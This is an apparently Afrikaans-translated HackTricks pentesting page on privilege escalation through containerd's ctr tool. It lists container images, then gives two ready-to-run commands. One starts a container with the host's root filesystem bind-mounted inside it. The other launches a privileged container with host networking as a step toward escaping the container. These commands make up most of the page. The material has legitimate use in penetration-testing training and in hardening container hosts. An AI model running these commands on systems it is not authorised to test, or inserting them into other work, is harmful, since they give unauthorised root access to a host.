Containerd (ctr) Privilege Escalation

Ondersteun HackTricks

Basiese inligting

Gaan na die volgende skakel om te leer wat containerd is en ctr:

2375, 2376 Pentesting Docker

PE 1

as jy vind dat 'n gasheer die ctr-opdrag bevat:

which ctr
/usr/bin/ctr

Jy kan die afbeeldings lys:

ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -

En hardloop dan een van daardie afbeeldings deur die gasheer se hoofmap daaraan te koppel:

ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash

PE 2

Voer 'n houer met voorregte uit en ontsnap daaruit. Jy kan 'n houer met voorregte hardloop as:

ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

Dan kan jy van sommige van die tegnieke wat genoem word op die volgende bladsy gebruik om daaruit te ontsnap deur misbruik te maak van bevoorregte vermoëns:

Docker Security
Ondersteun HackTricks

Last updated